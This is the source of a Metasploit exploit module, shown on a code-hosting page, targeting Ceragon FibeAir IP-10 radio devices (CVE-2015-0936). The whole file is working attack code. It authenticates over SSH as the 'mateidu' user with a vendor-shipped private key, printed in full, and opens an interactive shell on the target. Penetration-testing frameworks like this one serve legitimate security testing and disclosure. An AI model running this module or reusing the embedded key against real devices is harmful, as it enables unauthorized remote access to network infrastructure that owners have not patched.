Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9include Msf::Auxiliary::Report10include Msf::Exploit::Remote::SSH1112Rank = ExcellentRanking1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',20'Description' => %q{21Ceragon ships a public/private key pair on FibeAir IP-10 devices22that allows passwordless authentication to any other IP-10 device.23Since the key is easily retrievable, an attacker can use it to24gain unauthorized remote access as the "mateidu" user.25},26'Platform' => 'unix',27'Arch' => ARCH_CMD,28'Privileged' => false,29'Targets' => [ [ 'Universal', {} ] ],30'Payload' => {31'Compat' => {32'PayloadType' => 'cmd_interact',33'ConnectionType' => 'find'34}35},36'Author' => [37'hdm', # Discovery38'todb' # Metasploit module and advisory text (mostly copy-paste)39],40'License' => MSF_LICENSE,41'References' => [42['CVE', '2015-0936'],43['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure44],45'DisclosureDate' => '2015-04-01', # Not a joke46'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },47'DefaultTarget' => 0,48'Notes' => {49'Stability' => [CRASH_SAFE],50'Reliability' => [REPEATABLE_SESSION],51'SideEffects' => []52}53}54)55)5657register_options(58[59# Since we don't include Tcp, we have to register this manually60Opt::RHOST(),61Opt::RPORT(22)62], self.class63)6465register_advanced_options(66[67OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),68OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])69]70)71end7273# helper methods that normally come from Tcp74def rhost75datastore['RHOST']76end7778def rport79datastore['RPORT']80end8182def do_login(user)83opt_hash = ssh_client_defaults.merge({84auth_methods: ['publickey'],85port: rport,86key_data: [ key_data ]87})88opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']89begin90ssh_socket = nil91::Timeout.timeout(datastore['SSH_TIMEOUT']) do92ssh_socket = Net::SSH.start(rhost, user, opt_hash)93end94rescue Rex::ConnectionError95return nil96rescue Net::SSH::Disconnect, ::EOFError97print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"98return nil99rescue ::Timeout::Error100print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"101return nil102rescue Net::SSH::AuthenticationFailed103print_error "#{rhost}:#{rport} SSH - Failed authentication"104return nil105rescue Net::SSH::Exception => e106print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"107return nil108end109110if ssh_socket111112# Create a new session from the socket, then dump it.113conn = Net::SSH::CommandStream.new(ssh_socket)114ssh_socket = nil115116return conn117else118return nil119end120end121122def exploit123conn = do_login('mateidu')124if conn125print_good "#{rhost}:#{rport} - Successful login"126handler(conn.lsock)127end128end129130def key_data131<<~EOF132-----BEGIN RSA PRIVATE KEY-----133MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr134MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+135IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB136gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3137CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv1384Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY139SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6140B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV14193gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc142WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP143YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll1447GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT145uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==146-----END RSA PRIVATE KEY-----147EOF148end149end150151152